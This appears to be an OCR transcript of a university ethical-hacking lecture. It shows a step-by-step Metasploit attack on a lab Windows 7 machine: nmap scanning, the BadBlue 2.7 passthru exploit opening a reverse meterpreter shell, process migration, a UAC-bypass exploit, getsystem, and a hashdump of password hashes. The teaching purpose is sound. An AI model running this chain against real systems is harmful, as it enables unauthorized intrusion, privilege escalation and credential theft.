Ethical Hacking Prof. Indranil Sengupta Department of Computer Science and Engineering Indian Institute of Technology, Kharagpur

Lecture - 23 Metasploit Exploiting System Software and Privilege

(Refer Slide Time: 00:15)

Applications Places Terminal	Mon 01:45 +	I # /«O·
	root@kali: ~	000
File Edit View Search Terminal Help		
root@kali:-# nmap -T4 -p 1-1000 10.3	35.1.199	
Starting Nmap 7.70 (https://nmap.or	rg) at 2019-07-15 01:43 EDT	
Nmap scan report for 10.35.1.199		
Host is up (0.0040s latency).		
Not shown: 996 closed ports		
PORT STATE SERVICE		
80/tcp open http		
135/tcp open msrpc		
139/tcp open netbios-ssn		
445/tcp open microsoft-ds		
MAC Address: 00:0C:29:A1:A9:2D (VMwa	are)	
Nmap done: 1 IP address (1 host up)	scanned in 0.91 seconds	
root@kal1:~# nmap -T4 -sV 10.35.1.19	99	
Starting Nmap 7.70 (https://nmap.or	rg) at 2019-07-15 01:44 EDT	

In previous session, we had discussed about system software vulnerability. Now in the session we will discuss about the Application Software Vulnerability and using that particular vulnerability, how to penetrate inside windows machine. Now consider that our target IP address is 10.35.1.199, ok. So, let us start from the scanning part. So, first we will perform a port scan nmap - T4, then -P. For the time being I am performing the port scan for port 1 to 1000, then the IP address 10.35.1.199 ok. Port 80 is open http service is running. Port 135 is also open, 139, 445 all TCP ports are open.

Now, perform a service scan *nmap* timing option -T4, then -sV for service scan, then the IP address 10.35.1.199. So far better visualisation we are performing service scan and also to know the details of the service means what particular version of the service is running in the target machine, ok. Here is the result. (Refer Slide Time: 02:18)

Applications *	Places *	Terminal •	Mon 01:45 •	ж,	/ 4)	0 +
			root@kali: -		0	0 0
File Edit View	Search T	erminal Help				
		Concernance of the second				+
Nmap done:	1 IP	address (1 ho	ost up) scanned in 0.91 seconds			
root@kali:	-# nma	p -T4 -sV 10.	35.1.199			
Starting M	map 7.	70 (https://	'nmap.org) at 2019-07-15 01:44 EDT			
Nmap scan	report	for 10.35.1.	199			
Host is up	(0.00)	29s latency).				
Not shown:	989 c	losed ports				
PORT	STATE	SERVICE	VERSION			
80/tcp	open	http	BadBlue httpd 2.7			
135/tcp	open	msrpc	Microsoft Windows RPC			
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn			
445/tcp	open	microsoft-ds	Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)			
5357/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)			
49152/tcp	open	msrpc	Microsoft Windows RPC			
49153/tcp	open i	msrpc	Microsoft Windows RPC			
49154/tcp	open	msrpc	Microsoft Windows RPC			
49155/tcp	open	msrpc	Microsoft Windows RPC			
49156/tcp	open	msrpc	Microsoft Windows RPC			
49157/tcp	open	msrpc	Microsoft Windows RPC			
MAC Addres	s: 00:	OC:29:A1:A9:2	D (VMware)			
Service In	fo: Ho	st: WIN-U07C2	KU2QD1; OS: Windows; CPE: cpe:/o:microsoft:windows			
Service de	tectio	n performed.	Please report any incorrect results at https://nmap.org/submit/			
Nmap done:	1 10	address (1 ho	ost up) scanned in 61.59 seconds			
rootekalı	-# mst	console				

In port 80, http service is running and the version of the http services is *BadBlue httpd* 2.7. From the experience we know that this service *BadBlue httpd* 2.7 is a vulnerable service and this service is basically used to transfer file. Now we will exploit the vulnerability of the http service of the particular version *BadBlue httpd* 2.7. Let us start Metasploit framework.

(Refer Slide Time: 03:09)



Now, in Metasploit framework search for the exploit related to the *badblue* service. So, we got two exploit; one is *exploit/windows/http/badblue_ext_overflow* and the

disclosure date is in 2003 and rank is great and second one is *exploit/windows/http/ badblue_passthru*. Disclosure date is 2007 and rank is great and in description we clearly see that this is for the *BadBlue version* 2.7. So, we will use this particular exploit.

(Refer Slide Time: 04:27)



Now, using show options command we can see all the options which we need to set. So, we need to set *RHOST*. So, use the command *set*, then *RHOST*, then the machine IP address is 10.35.1.199 and *RPORT* is already set as 80 and *http dbadblue* service is also running in port righty. So, no need to change *RPORT*. Now use the command *exploit*, meterpreter session one is open with the host machine 10.35.1.1980 using the port 4444 and we got the meterpreter session.

Now, by using the command *sysinfo* we can check the information of the target machine. It is Windows 7, great. So, by using the vulnerability of the application software *BadBlue* 2.7 we successfully exploit the target system.

(Refer Slide Time: 06:07)



Now, from the meterpreter section we can execute lots of command which is available in meterpreter. By typing *help* we can check all the available command. One of the important command is *hashdump*. By using the command *hashdump*, we can dump the content of the same database that means the password of the target machine, but in this scenario *hashdump* is not working. What is the reason? Now check the privilege of this user. So, the server username is *WIN* then *U07C2K* something, then *\exploiter*. So, this session do not have the administrative privilege.

So, to get the hash, to execute the *hashdump* command we need to escalate the administrative privilege first. So, now before getting the administrator privilege I do one thing. I simply migrate the process into any other legitimate and stable process.

(Refer Slide Time: 07:33)

Applicatio	ns * Pi	aces * 🖸 Terminal *			Mon 01:51 •	■ # / • 0 •
					root@kali: ~	000
File Edit	View Se	earch Terminal Help				
1360	476	SearchIndexer.exe				
1492	372	StikyNot.exe	x86	1		C:\Windows\System32\StikyNot.exe
1500	372	badblue.exe	x86	1		C:\Program Files\BadBlue\EE\badblue.exe
1736	476	svchost.exe				
1764	476	svchost.exe				
1792	1324	SearchProtocolHost.exe				
1904	1324	dllhostex.exe				
2028	476	taskhost.exe	x86	1		C:\Windows\system32\taskhost.exe
2080	1500	iexplore.exe	x86	1		C:\Program Files\Internet Explorer\iexplore.e
xe						
2124	476	svchost.exe				
2176	2080	iexplore.exe	x86	1		C:\Program Files\Internet Explorer\iexplore.e
xe						
2316	476	wmpnetwk.exe				
2900	428	wlrmdr.exe	x86	1		C:\Windows\system32\wlrmdr.exe
2972	372	cmd.exe	x86	1		C:\Windows\system32\cmd.exe
2980	388	conhost.exe	x86	1		C:\Windows\system32\conhost.exe
3168	476	svchost.exe				
3700	588	WmiPrvSE.exe				
3840	328	conhost.exe				
3920	4016	svchost.exe				
4016	1792	cmd.exe				
meterp	reter	> migrate 2176				
[*] Mi	gratin	ig from 1500 to 2176				

So, by typing the command *ps* we can get all the process list. See here is all the process list with their process Id and parent process id. So, now I am going to migrate the process into *iexplore.exe* with the process Id 2176. So, the command is *migrate*, then process Id 2176. See migration completed successfully.

(Refer Slide Time: 08:24)



Now send this meterpreter session in background by using the command *background*. Now check all the meterpreter session. (Refer Slide Time: 08:43)



So, there is only one meterpreter session with the session Id 2 and it do not have the administrative privileges. Now for further to get the administrator privileges, we use some post exploit related to the term *bypassuac*. So, search for all the available exploit with the term *bypassuac*.

(Refer Slide Time: 09:16)

Applications * Places * D Terminal * Mon 01:5	6•			/	• 0 •
root@kali:	-			0	000
File Edit view Search Terminal Help					
# Name	Disclosure Date	Rank	Check	Descript	tion
0 exploit/windows/local/bypassuac	2010-12-31	excellent	 No	Windows	Esca
tate UAL Protection Bypass 1 exploit/windows/local/bypassuac_comhijack late UAC Protection Bypass (Via COM Handlor Hijack)	1900-01-01	excellent	Yes	Windows	Esca
2 exploit/windows/local/bypassuac_eventvwr ate UAC Protection Rypass (Via Eventvwr Registry Key)	2016-08-15	excellent	Yes	Windows	Esca
3 exploit/windows/local/bypassuac_fodhelper Protection Bypass (Via FodHelper Registry Kev)	2017-05-12	excellent	Yes	Windows	UAC
4 exploit/windows/local/bypassuac_injection ate UAC Protection Bypass (In Memory Injection)	2010-12-31	excellent	No	Windows	Esca
5 exploit/windows/local/bypassuac_injection_winsxs late UAC Protection Bypass (In Memory Injection) abusing the state of the state o	2017-04-06	excellent	No	Windows	Esca
6 exploit/windows/local/bypassuac_silentcleanup ate UAC Protection Bypass (Via SilentCleanup)	2019-02-24	excellent	No	Windows	Esca
7 exploit/windows/local/bypassuac_sluihijack	2018-01-15	excellent	Yes	Windows	UAC
8 exploit/windows/local/bypassuac_vbs ate UAC Protection Bypass (ScriptHost Vulnerability)	2015-08-22	excellent	No	Windows	Esca
msf5 exploit(windows/http/badblue_passthru) > use explo msf5 exploit(windows/http/badblue_passthru) > show options	oit/windows/local/	bypassuac			

Now, suppose I want to use the first one. Now by using the command *show options* we can check all the options we need to set within this particular exploit.

(Refer Slide Time: 09:39)



So, now see we need to set the session. Now we want to send the session Id 2 with the administrative privilege. So, *set SESSION* as 2. Now see all the options are set. Now use the command *exploit*.

(Refer Slide Time: 10:14)

Mon 01:58 •	1 # / 40.
root@kali: -	000
and the second se	
exploit	
5.1.198:4444 continuing h to the filesystem bytes long being uploaded b5.1.199 1.198:4444 -> 10.35.1.199:49525) at 2019-	07-15 01:56:49 -0400
ter 135b51404ee:31d6cfe0d16ae931b73c59d7e0c0899 151404ee:4979f4cb67d3e0f86b56c238c3814ce2: 1ee:31d6cfe0d16ae931b73c59d7e0c089c0:::	c0:::
	<pre>Mendi3s* red@kak:- exploit exploit wing wing to the filesystem bytes long being uploaded i5.1.199 1.198:4444 -> 10.35.1.199:49525) at 2019- er er me Impersonation (In Memory/Admin)). 35b51404ee:31d6cfe0d16ae931b73c59d7e0c089 .51404ee:4979f4cb67d3e0f86b56c238:3814ce2: eee:31d6cfe0d16ae931b73c59d7e0c089c0::: </pre>

Started the reverse TCP handler with the IP 10.351.198 using the port 4444 and meterpreter session 3 is open now. Now, check the privilege of this particular session by using the command *getuid*. Now still it do not have the administrative privilege. Now use the command, *getsystem*, got system via technique 1 in memory admin.

Now, check the privilege of this particular session. Now see we got the system privilege that means the administrative privilege. Now, use the command *hashdump* and see we got the hash value of the password of the target machine. So, this way we can also escalate the privilege of the target machine.

Now in the next session, we will discuss about the Social Engineering Attack by using the exploit or payload available in the Metasploit framework.